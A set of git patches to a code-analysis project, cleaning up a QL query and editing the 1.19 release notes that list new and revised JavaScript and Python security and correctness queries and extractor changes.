    •  From 13a9903c21d0514ce817c932e0fb94ed987b9ec3 Mon Sep 17 00:00:00 2001 From: Max Schaefer Date: Wed, 5 Dec 2018 15:11:32 +0000 Subject: [PATCH 22/25] JavaScript: Remove redundant conjunct in `MixedStaticInstanceThisAccess`. Minor cleanup, but might as well go into the release. --- javascript/ql/src/Declarations/MixedStaticInstanceThisAccess.ql | 1 - 1 file changed, 1 deletion(-) diff --git a/javascript/ql/src/Declarations/MixedStaticInstanceThisAccess.ql b/javascript/ql/src/Declarations/MixedStaticInstanceThisAccess.ql index bd7d8fe9f14..57300a0d76e 100644 --- a/javascript/ql/src/Declarations/MixedStaticInstanceThisAccess.ql +++ b/javascript/ql/src/Declarations/MixedStaticInstanceThisAccess.ql @@ -35,7 +35,6 @@ where fromKind = getKind(fromMethod) and toKind = getKind(toMethod) and toKind != fromKind and - not toKind = fromKind and // exceptions not ( From 9ef50a7876c39b283927f80becbc27afce6511d2 Mon Sep 17 00:00:00 2001 From: Felicity Chapman Date: Wed, 5 Dec 2018 16:13:05 +0000 Subject: [PATCH 23/25] Update logging information based on 'extractor-python.md' --- change-notes/1.19/analysis-python.md | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/change-notes/1.19/analysis-python.md b/change-notes/1.19/analysis-python.md index 7dcfd91f6db..85f1868c742 100644 --- a/change-notes/1.19/analysis-python.md +++ b/change-notes/1.19/analysis-python.md @@ -70,10 +70,16 @@ Most security alerts are now visible on LGTM by default. This means that you may ## Changes to code extraction -* Improved scalability: Scaling is near linear to at least 20 CPU cores. -* Five levels of logging can be selected: `ERROR`, `WARN`, `INFO`, `DEBUG` and `TRACE`. LGTM uses `INFO` level logging. QL tools use `WARN` level logging by default. -* The `-v` flag can be specified multiple times to increase logging level by one per `-v`. -* The `-q` flag has been added and can be specified multiple times to reduce the logging level by one per `-q`. +### Improved scalability + +Scaling is near linear to at least 20 CPU cores. + +### Improved logging + +* Five levels of logging are available: `CRITICAL`, `ERROR`, `WARN`, `INFO` and `DEBUG`. `WARN` is the default. +* LGTM uses `INFO` level logging. QL tools use `WARN` level logging by default. +* The `--verbose` flag can be specified specified multiple times to increase the logging level once per flag added. +* The `--quiet` flag can be specified multiple times to reduce the logging level once per flag added. * Log lines are now in the `[SEVERITY] message` style and never overlap. * The extractor now outputs the location of the first character that triggers an EncodingError. From c735043772534b44a9255008048f15f77c7af078 Mon Sep 17 00:00:00 2001 From: Felicity Chapman Date: Wed, 5 Dec 2018 16:36:34 +0000 Subject: [PATCH 24/25] Update for feedback --- change-notes/1.19/analysis-python.md | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/change-notes/1.19/analysis-python.md b/change-notes/1.19/analysis-python.md index 85f1868c742..155571c9b8c 100644 --- a/change-notes/1.19/analysis-python.md +++ b/change-notes/1.19/analysis-python.md @@ -70,6 +70,11 @@ Most security alerts are now visible on LGTM by default. This means that you may ## Changes to code extraction +## Improved reporting of encoding errors + +The extractor now outputs the location of the first character that triggers an `EncodingError`. +Any queries that report encoding errors will now show results at the location of the character that caused the error. + ### Improved scalability Scaling is near linear to at least 20 CPU cores. @@ -81,7 +86,6 @@ Scaling is near linear to at least 20 CPU cores. * The `--verbose` flag can be specified specified multiple times to increase the logging level once per flag added. * The `--quiet` flag can be specified multiple times to reduce the logging level once per flag added. * Log lines are now in the `[SEVERITY] message` style and never overlap. -* The extractor now outputs the location of the first character that triggers an EncodingError. ## Changes to QL libraries From 6a7b528280907c404faf3a24d4d7d2980e135bf7 Mon Sep 17 00:00:00 2001 From: Felicity Chapman Date: Thu, 6 Dec 2018 08:44:35 +0000 Subject: [PATCH 25/25] 1.19: Finalize change notes for JavaScript --- change-notes/1.19/analysis-javascript.md | 91 ++++++++++++----------- change-notes/1.19/extractor-javascript.md | 26 ++----- 2 files changed, 55 insertions(+), 62 deletions(-) diff --git a/change-notes/1.19/analysis-javascript.md b/change-notes/1.19/analysis-javascript.md index 2572c5058dd..88e44ec0ffe 100644 --- a/change-notes/1.19/analysis-javascript.md +++ b/change-notes/1.19/analysis-javascript.md @@ -4,74 +4,79 @@ * Modeling of taint flow through array and buffer operations has been improved. This may give additional results for the security queries. -* Support for AMD modules has been improved. This may give additional results for the security queries as well as any queries that use type inference on code bases that use such modules. +* Support for AMD modules has been improved. This may give additional results for the security queries, as well as any queries that use type inference on code bases that use such modules. * Support for popular libraries has been improved. Consequently, queries may produce more results on code bases that use the following features: - - file system access, for example through [fs-extra](https://github.com/jprichardson/node-fs-extra) or [globby](https://www.npmjs.com/package/globby) - - outbound network access, for example through the [fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API) - - the [lodash](https://lodash.com), [underscore](https://underscorejs.org/), [async](https://www.npmjs.com/package/async) and [async-es](https://www.npmjs.com/package/async-es) libraries + - File system access, for example, through [fs-extra](https://github.com/jprichardson/node-fs-extra) or [globby](https://www.npmjs.com/package/globby) + - Outbound network access, for example, through the [fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API) + - The [lodash](https://lodash.com), [underscore](https://underscorejs.org/), [async](https://www.npmjs.com/package/async) and [async-es](https://www.npmjs.com/package/async-es) libraries * The taint tracking library now recognizes additional sanitization patterns. This may give fewer false-positive results for the security queries. * Type inference for function calls has been improved. This may give additional results for queries that rely on type inference. -* Where applicable, path explanations have been added to the security queries. +* Path explanations have been added to the relevant security queries. +Use [QL for Eclipse](https://help.semmle.com/ql-for-eclipse/Content/WebHelp/getting-started.html) +to run queries and explore the data flow in results. -## New queries +## New LGTM queries | **Query** | **Tags** | **Purpose** | |-----------------------------------------------|------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| Enabling Node.js integration for Electron web content renderers (`js/enabling-electron-renderer-node-integration`) | security, frameworks/electron, external/cwe/cwe-094 | Highlights Electron web content renderer preferences with Node.js integration enabled, indicating a violation of [CWE-94](https://cwe.mitre.org/data/definitions/94.html). Results are not shown on LGTM by default. | -| File data in outbound network request | security, external/cwe/cwe-200 | Highlights locations where file data is sent in a network request. Results are not shown on LGTM by default. | -| Hard-coded data interpreted as code | security, external/cwe/cwe-506 | Highlights locations where hard-coded data is transformed and then executed as code or interpreted as an import path, which may indicate embedded malicious code ([CWE-506](https://cwe.mitre.org/data/definitions/506.html)). Results are not shown on LGTM by default. | -| Host header poisoning in email generation | security, external/cwe/cwe-640 | Highlights code that generates emails with links that can be hijacked by HTTP host header poisoning, indicating a violation of [CWE-640](https://cwe.mitre.org/data/definitions/640.html). Results shown on LGTM by default. | +| Hard-coded data interpreted as code (`js/hardcoded-data-interpreted-as-code`) | security, external/cwe/cwe-506 | Highlights locations where hard-coded data is transformed and then executed as code or interpreted as an import path, which may indicate embedded malicious code ([CWE-506](https://cwe.mitre.org/data/definitions/506.html)). Results are hidden on LGTM by default. | +| Host header poisoning in email generation (`js/host-header-forgery-in-email-generation`)| security, external/cwe/cwe-640 | Highlights code that generates emails with links that can be hijacked by HTTP host header poisoning, indicating a potential violation of [CWE-640](https://cwe.mitre.org/data/definitions/640.html). Results shown on LGTM by default. | | Replacement of a substring with itself (`js/identity-replacement`) | correctness, security, external/cwe/cwe-116 | Highlights string replacements that replace a string with itself, which usually indicates a mistake. Results shown on LGTM by default. | -| Stored cross-site scripting (`js/stored-xss`) | security, external/cwe/cwe-079, external/cwe/cwe-116 | Highlights uncontrolled stored values flowing into HTML content, indicating a violation of [CWE-079](https://cwe.mitre.org/data/definitions/79.html). Results shown on LGTM by default. | +| Stored cross-site scripting (`js/stored-xss`) | security, external/cwe/cwe-079, external/cwe/cwe-116 | Highlights uncontrolled stored values flowing into HTML content, indicating a potential violation of [CWE-079](https://cwe.mitre.org/data/definitions/79.html). Results shown on LGTM by default. | | Unclear precedence of nested operators (`js/unclear-operator-precedence`) | maintainability, correctness, external/cwe/cwe-783 | Highlights nested binary operators whose relative precedence is easy to misunderstand. Results shown on LGTM by default. | | Unneeded defensive code | correctness, external/cwe/cwe-570, external/cwe/cwe-571 | Highlights locations where defensive code is not needed. Results are shown on LGTM by default. | | Unsafe dynamic method access (`js/unsafe-dynamic-method-access` ) | security, external/cwe/cwe-094 | Highlights code that invokes a user-controlled method on an object with unsafe methods. Results are shown on LGTM by default. | | Unvalidated dynamic method access (`js/unvalidated-dynamic-method-call` ) | security, external/cwe/cwe-754 | Highlights code that invokes a user-controlled method without guarding against exceptional circumstances. Results are shown on LGTM by default. | -| Useless assignment to property | maintainability | Highlights property assignments whose value is always overwritten. Results are shown on LGTM by default. | -| User-controlled data in file | security, external/cwe/cwe-912 | Highlights locations where user-controlled data is written to a file. Results are not shown on LGTM by default. | +| Useless assignment to property (`js/useless-assignment-to-property`) | maintainability | Highlights property assignments whose value is always overwritten. Results are shown on LGTM by default. | + +## Other new queries + +| **Query** | **Tags** | **Purpose** | +|-----------------------------------------------|------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| Enabling Node.js integration for Electron web content renderers (`js/enabling-electron-renderer-node-integration`) | security, frameworks/electron, external/cwe/cwe-094 | Highlights Electron web content renderer preferences with Node.js integration enabled, indicating a potential violation of [CWE-94](https://cwe.mitre.org/data/definitions/94.html). | +| File data in outbound network request (`js/file-access-to-http`) | security, external/cwe/cwe-200 | Highlights locations where file data is sent in a network request, indicating a potential violation of [CWE-200](https://cwe.mitre.org/data/definitions/200.html). | +| User-controlled data written to file (`js/http-to-file-access`) | security, external/cwe/cwe-434, external/cwe/cwe-912 | Highlights locations where user-controlled data is written to a file, indicating a potential violation of [CWE-912](https://cwe.mitre.org/data/definitions/912.html). | + ## Changes to existing queries | **Query** | **Expected impact** | **Change** | |--------------------------------|----------------------------|----------------------------------------------| -| Ambiguous HTML id attribute | Lower severity | The severity of this rule has been revised to "warning". | -| Clear-text logging of sensitive information | Fewer results | This rule now tracks flow more precisely. | -| Client side cross-site scripting | More results | This rule now also flags HTML injection in the body of an email. | -| Client-side URL redirect | Fewer false-positive results | This rule now recognizes safe redirects in more cases. | -| Conflicting HTML element attributes | Lower severity | The severity of this rule has been revised to "warning". | -| Duplicate 'if' condition | Lower severity | The severity of this rule has been revised to "warning". | -| Duplicate switch case | Lower severity | The severity of this rule has been revised to "warning". | -| Inconsistent use of 'new' | Simpler result presentation | This rule now only shows one call with `new` and one without. | -| Information exposure through a stack trace | More results | This rule now also flags cases where the entire exception object (including the stack trace) may be exposed. | -| Missing 'this' qualifier | Fewer false-positive results | This rule now recognizes additional intentional calls to global functions. | -| Missing CSRF middleware | Fewer false-positive results | This rule now recognizes additional CSRF protection middlewares. | -| Missing variable declaration | Lower severity | The severity of this rule has been revised to "warning". | -| Regular expression injection | Fewer false-positive results | This rule now identifies calls to `String.prototype.search` with more precision. | -| Remote property injection | Fewer results | The precision of this rule has been revised to "medium". Furthermore, it no longer flags dynamic method calls, which are now handled by two new queries. Results are no longer shown on LGTM by default. | -| Self assignment | Fewer false-positive results | This rule now ignores self-assignments preceded by a JSDoc comment with a `@type` tag. | -| Server-side URL redirect | Fewer false-positive results | This rule now recognizes safe redirects in more cases. | -| Server-side URL redirect | More results | This rule now recognizes redirection calls in more cases. | -| Unbound event handler receiver | Fewer false-positive results | This rule now recognizes additional ways class methods can be bound. | -| Uncontrolled data used in remote request | More results | This rule now recognizes additional kinds of requests. | -| Unknown directive | Fewer false positives results | This rule now recognizes YUI compressor directives. | -| Unused import | Fewer false-positive results | This rule no longer flags imports used by the `transform-react-jsx` Babel plugin. | -| Unused variable, import, function or class | Fewer false-positive results | This rule now flags fewer variables that may be used by `eval` calls. | -| Unused variable, import, function or class | Fewer results | This rule now flags import statements with multiple unused imports once. | -| Useless assignment to local variable | Fewer false-positive results | This rule now recognizes additional ways default values can be set. | -| Useless conditional | More results, fewer false-positive results | This rule now recognizes conditionals in more cases, but no longer flags certain defensive coding patterns. | -| Whitespace contradicts operator precedence | Fewer false-positive results | This rule no longer flags operators with asymmetric whitespace. | -| Wrong use of 'this' for static method | More results, fewer false-positive results | This rule now recognizes inherited methods. | +| Ambiguous HTML id attribute (`js/duplicate-html-id`) | Lower severity | Severity revised to "warning". | +| Clear-text logging of sensitive information (`js/clear-text-logging`) | Fewer results | Query now tracks flow more precisely. | +| Client side cross-site scripting (`js/xss`) | More results | HTML injection in the body of an email is also highlighted. | +| Client-side URL redirect (`js/client-side-unvalidated-url-redirection`) | Fewer false positive results | Safe redirects recognized in more cases. | +| Conflicting HTML element attributes (`js/conflicting-html-attribute`) | Lower severity | Severity revised to "warning". | +| Duplicate 'if' condition (`js/duplicate-condition`) | Lower severity | Severity revised to "warning". | +| Duplicate switch case (`js/duplicate-switch-case`) | Lower severity | Severity revised to "warning". | +| Inconsistent use of 'new' (`js/inconsistent-use-of-new`) | Simpler result presentation | Results show one call with `new` and one without. | +| Information exposure through a stack trace (`js/stack-trace-exposure`) | More results | Cases where the entire exception object (including the stack trace) may be exposed are highlighted. | +| Missing 'this' qualifier (`js/missing-this-qualifier`) | Fewer false positive results | Additional intentional calls to global functions are recognized. | +| Missing CSRF middleware (`js/missing-token-validation`) | Fewer false positive results | Additional types of CSRF protection middleware are recognized. | +| Missing variable declaration (`js/missing-variable-declaration`) | Lower severity | Severity revised to "warning". | +| Regular expression injection (`js/regex-injection`) | Fewer false positive results | Calls to `String.prototype.search` are identified with more precision. | +| Remote property injection (`js/remote-property-injection`) | Fewer results | No longer highlights dynamic method calls, which are now handled by two new queries: `js/unsafe-dynamic-method-access` and `js/unvalidated-dynamic-method-call`. The precision of this rule has been revised to "medium", reflecting the precision of the remaining results. Results are now hidden on LGTM by default. | +| Self assignment (`js/redundant-assignment`) | Fewer false positive results | Self-assignments preceded by a JSDoc comment with a `@type` tag are no longer highlighted. | +| Server-side URL redirect (`js/server-side-unvalidated-url-redirection`) | More results and fewer false positive results | More redirection calls are identified. More safe redirections are recognized and ignored. | +| Unbound event handler receiver (`js/unbound-event-handler-receiver`) | Fewer false positive results | Additional ways that class methods can be bound are recognized. | +| Uncontrolled data used in network request (`js/request-forgery`) | More results | Additional kinds of requests are identified. | +| Unknown directive (`js/unknown-directive`) | Fewer false positives results | YUI compressor directives are now recognized. | +| Unused variable, import, function or class (`js/unused-local-variable`) | Fewer false positive results and fewer results | Imports used by the `transform-react-jsx` Babel plugin and fewer variables that may be used by `eval` calls are highlighted. Only one result is reported for an import statement with multiple unused imports. | +| Useless assignment to local variable (`js/useless-assignment-to-local`) | Fewer false positive results | Additional ways default values can be set are recognized. | +| Useless conditional (`js/trivial-conditional`) | More results, fewer false positive results | More types of conditional are recognized. Additional defensive coding patterns are now ignored. | +| Whitespace contradicts operator precedence (`js/whitespace-contradicts-precedence`) | Fewer false positive results | Operators with asymmetric whitespace are no longer highlighted. | +| Wrong use of 'this' for static method (`js/mixed-static-instance-this-access`) | More results, fewer false-positive results | Inherited methods are now identified. | ## Changes to QL libraries -* A `DataFlow::ParameterNode` instance now exists for all function parameters. Previously, unused parameters did not have a corresponding dataflow node. +* A `DataFlow::ParameterNode` instance now exists for all function parameters. Previously, unused parameters did not have a corresponding data-flow node. -* `ReactComponent::getAThisAccess` has been renamed to `getAThisNode`. The old name is still usable but is deprecated. It no longer gets individual `this` expressions, but the `ThisNode` mentioned above. +* `ReactComponent::getAThisAccess` has been renamed to `getAThisNode`. The old name is still usable but is deprecated. It no longer gets individual `this` expressions, but the `ThisNode` mentioned below. -* The `DataFlow::ThisNode` class now corresponds to the implicit receiver parameter of a function, as opposed to an indivdual `this` expression. This means `getALocalSource` now maps all `this` expressions within a given function to the same source. The data-flow node associated with a `ThisExpr` can no longer be cast to `DataFlow::SourceNode` or `DataFlow::ThisNode` - it is recomended to use `getALocalSource` before casting or instead of casting. +* The `DataFlow::ThisNode` class now corresponds to the implicit receiver parameter of a function, as opposed to an individual `this` expression. This means that `getALocalSource` now maps all `this` expressions within a given function to the same source. The data-flow node associated with a `ThisExpr` can no longer be cast to `DataFlow::SourceNode` or `DataFlow::ThisNode`. Using `getALocalSource` before casting, or instead of casting, is recommended. * The flow configuration framework now supports distinguishing and tracking different kinds of taint, specified by an extensible class `FlowLabel` (which can also be referred to by its alias `TaintKind`). diff --git a/change-notes/1.19/extractor-javascript.md b/change-notes/1.19/extractor-javascript.md index 8aa278e623c..06c7b0cb0cb 100644 --- a/change-notes/1.19/extractor-javascript.md +++ b/change-notes/1.19/extractor-javascript.md @@ -2,21 +2,9 @@ # Improvements to JavaScript analysis -> NOTES -> -> Please describe your changes in terms that are suitable for -> customers to read. These notes will have only minor tidying up -> before they are published as part of the release notes. -> -> This file is written for lgtm users and should contain *only* -> notes about changes that affect lgtm enterprise users. Add -> any other customer-facing changes to the `studio-java.md` -> file. -> - ## General improvements -* On LGTM, files whose name ends in `.min.js` or `-min.js` are no longer extracted by default, since they most likely contain minified code and results in these files would be hidden by default anyway. To extract such files anyway, you can add the following filters to your `lgtm.yml` file (or add them to existing filters): +* On LGTM, files whose name ends in `.min.js` or `-min.js` are no longer extracted by default. These files usually contain minified code and any alerts in these files would be hidden by default. If you still want to extract code from these files, you can add the following filters to your `lgtm.yml` file (or add them to existing filters): ```yaml extraction: @@ -27,13 +15,13 @@ extraction: - include: "**/*-min.js" ``` -## Changes to code extraction - -* The TypeScript compiler is now bundled with the distribution, and no longer needs to be installed manually. - Should the compiler version need to be overridden, set the `SEMMLE_TYPESCRIPT_HOME` environment variable to +* The TypeScript compiler is now included in the LGTM Enterprise and QL command-line tools installations, and you no longer need to install it manually. + If you need to override the compiler version, set the `SEMMLE_TYPESCRIPT_HOME` environment variable to point to an installation of the `typescript` NPM package. -* The extractor now supports [Optional Chaining](https://github.com/tc39/proposal-optional-chaining) expressions. +## Changes to code extraction -* The extractor now supports additional [Flow](https://flow.org/) syntax. +The extractor now supports: +* [Optional Chaining](https://github.com/tc39/proposal-optional-chaining) expressions. +* Additional [Flow](https://flow.org/) syntax.